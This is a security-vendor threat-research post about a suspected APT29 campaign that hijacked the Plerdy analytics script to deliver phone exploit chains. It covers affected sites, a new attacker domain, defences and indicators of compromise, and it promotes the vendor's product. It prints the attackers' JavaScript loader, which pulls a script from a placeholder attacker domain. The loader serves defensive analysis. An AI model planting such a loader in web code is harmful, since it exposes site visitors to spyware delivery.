One Hijacked Analytics Script, and Russian iPhone Exploits on Thousands of Websites

For a week in late summer, a popular Ukrainian analytics script quietly loaded spyware-delivery code onto every site that used it. Here's what we found when we went looking: a delivery server nobody had published, a website still infected after the story broke, and the same iPhone exploit kit we found in the hands of crypto thieves last month.

On 4 November, the threat research team at Sekoia published a detailed report on a campaign it attributes, with moderate to high confidence, to APT29, the hacking group widely linked to Russia's Foreign Intelligence Service (SVR). The attackers planted code on websites to break into the phones of people who visited them, and it's excellent work, you should read it.

For one week, between 27 August and 3 September 2026, the attackers didn't need to hack the websites they were targeting at all. They hacked Plerdy, an analytics and SEO tool whose tracking script is loaded by thousands of websites, most of them Ukrainian. Every one of those sites then served the attackers' code to its visitors, without the site owners changing anything or knowing anything had happened, and that is of course why we are interested in this.

We went digging in our own threat intelligence data to see what we could add to this research, and here's what we found.

How the attack worked

The attackers used three ways to get their code in front of visitors:

1. Hacking websites directly and adding a small script to their pages.
2. Building lookalike copies of real websites. These passed the real site through untouched, apart from the added script. Sekoia found copies of a US national anniversary site and of a London luxury hotel close to some of the UK's most sensitive government buildings.
3. Hacking the analytics supplier. The attackers added a few lines to Plerdy's tracking script, so every site using Plerdy loaded their code too.

All three routes ended in the same place. A tiny loader:

window.onload = function () {
  const script = document.createElement('script');
  script.src = 'https://<attacker-domain>/module/5b4c8fea5cbcee273e8d830f52-temfp.js';
  document.body.appendChild(script);
}

That file is a device fingerprinting script, 2.3 MB, almost all of it a copy of an old JavaScript library used as padding. It collects nearly 400 details about the visitor's phone and browser and sends them to the attackers' server. If the visitor is on an iPhone or Android phone running an out-of-date version, the server sends back an exploit chain built for that exact version. If the attack works, it steals browser cookies, saved passwords and Wi-Fi passwords, and on some iPhones it copies almost everything on the device: messages, WhatsApp and Telegram data, photos, location history and more.

Every vulnerability involved had already been fixed by Apple and Google before the campaign started, so a fully updated phone was safe. The attack only worked against phones that hadn't been updated, and plenty of phones haven't.

The supply-chain week

Sekoia couldn't say whether the attackers were after particular Plerdy customers, such as Ukrainian military and defence sites, or simply casting the widest net they could. In our view, looking from the outside, we'd say it looks like both.

Using our scan data, we identified 33 separate websites loading the attackers' fingerprinting script during that one week. Every one of them was loading Plerdy, and every sighting falls inside the 27 August to 3 September window. They're a strange mix: online shops, a postal and logistics company, a supermarket chain, a non-profit, software companies, a small hotel. Most are Ukrainian, but some are in the US, UK, Australia, Sweden and elsewhere. These sites didn't do anything wrong, they just loaded a script from a supplier they trusted, and for a week that supplier was serving spyware delivery code.

These 33 are only the sites that happened to be scanned during that week, and Plerdy says it is used on thousands of sites, so the real number is much higher.

We found another attacker-controlled domain

Sekoia published the attacker domains it was able to share, and we've filled in a few gaps in our threat intelligence feeds. We then searched the millions of scripts we've collected from crawling websites for the fingerprinting script's unique characteristics, and we got a hit.

In October, our crawler had collected a script file from a WordPress plugin on a small Polish website. Someone had added the attackers' loader to the end of it, and it pointed to a domain that isn't in Sekoia's published list: uismart-asset[.]com. That domain was registered in April 2026, the same month as the campaign's other infrastructure. The good news is that the site has since been cleaned up, and we've promoted the domain to our threat intelligence 'IoC' tier from the 'suspicious' tier.

This is exactly how Sekoia describes some of the direct compromises: rather than changing a site's pages, the attackers appended their loader to a JavaScript file the site already served. A site owner checking that their pages haven't changed would see nothing wrong.

Still infected after the story broke

Sekoia also described a compromised website belonging to a US chemical industry organisation, without naming it. Our scan data shows that site loading the fingerprinting script on 2 September, 21 September and 31 October.

When we checked it on 5 November, the day after Sekoia's report went out, it was still infected. The loader had been pasted into a block of text in the site's content management system, so it wasn't even in the site's code, and its delivery server was still online. We reported it to CISA, the US Cybersecurity and Infrastructure Security Agency, the same day, and the other infected sites run by the same organisation.

The same exploit kit, in very different hands

One of the iPhone exploit chains in this campaign is DarkSword, a commercially developed iOS exploit kit that Google's Threat Intelligence Group documented earlier this year. Last month we wrote about an abandoned analytics domain sending online shoppers to iPhone exploits. That was DarkSword too, built from the same chain of vulnerabilities. There, though, it was being used by criminals to empty crypto wallets, so we compared the two.

They share the exploit chain used to compromise the device, but not much else: different delivery, different infrastructure, and a very different payload. The crypto thieves install a long-running backdoor built to drain wallets. The campaign Sekoia describes grabs everything it can in one go and leaves, which looks much more like the payload Google found being used against Ukrainian websites in the spring.

The same sophisticated iPhone exploit chain is now turning up in campaigns with very different objectives: intelligence collection by a suspected Russian state actor on one side, and straightforward cryptocurrency theft on the other. The exploit technology may be shared, but the people using it, and what they do after compromising a phone, are very different.

What would have caught this

A hijacked third-party script is the hardest kind of attack for a website owner to spot. The script comes from a supplier you've chosen to trust, it's served from that supplier's servers, and when the supplier fixes it, the evidence is gone. You can't spot it by checking your own code, because your code never changed.

What does change is what your visitors' browsers do. On every site using Plerdy that week, browsers suddenly started loading scripts from domains they had never loaded from before. That's the signal.

• A Content Security Policy that lists the domains your site may load scripts from would have blocked the attackers' script on every affected site. Each blocked attempt would also have produced a report telling the site owner exactly which domain was being loaded and from which page. One caveat: policies that rely only on 'strict-dynamic' let any script a trusted script adds through. That is exactly what Plerdy's tampered tracker did, so this is where monitoring matters as much as blocking.
• Monitoring the scripts your pages actually load would have flagged a brand-new script domain appearing across a site overnight, whether it came from a supplier, a modified plugin file or a paragraph of CMS content.
• Checking those domains against threat intelligence turns "a new domain appeared" into "a known APT29 delivery server appeared". Every domain mentioned in this post is already in Report URI's threat intelligence.
• Integrity monitoring to detect changes to existing scripts so you know when a file that shouldn't change has just deployed a new version.

That is what Report URI, a client-side security platform, is built for. If you want to know which scripts your visitors' browsers are actually loading, and to hear about it the moment that changes, you can try it with a 30-day free trial, no credit card required.

Get Started Now →

What you should do

• Update your phone. Every exploit in this campaign targets vulnerabilities that have already been fixed. Keep iOS, Android and Chrome up to date, and turn on automatic updates.
• If your site used Plerdy between 27 August and 3 September 2026, assume your visitors were exposed during that week. The tracker has since been cleaned, so there's nothing left on your site to remove.
• If you run a website, check your pages, theme and plugin JavaScript files for anything loading /module/5b4c8fea5cbcee273e8d830f52-temfp.js, and check your logs and CSP reports for the domains below.

Indicators of Compromise

Domains (all attacker-owned) mostly from Sekoia'a report:

flux-telemetry[.]com
clouds-stacks[.]com
starx-net[.]com
adsprism-stat[.]com
ads-it-assets[.]com
adv-static[.]com
wpvortex-mod[.]com
assets-int[.]com
america250[.]holiday
theowo[.]club
uismart-asset[.]com   (new: not in Sekoia's published list)

Fingerprinting script path: /module/5b4c8fea5cbcee273e8d830f52-temfp.js

Full technical detail, exploit hashes and CVEs are in Sekoia's report.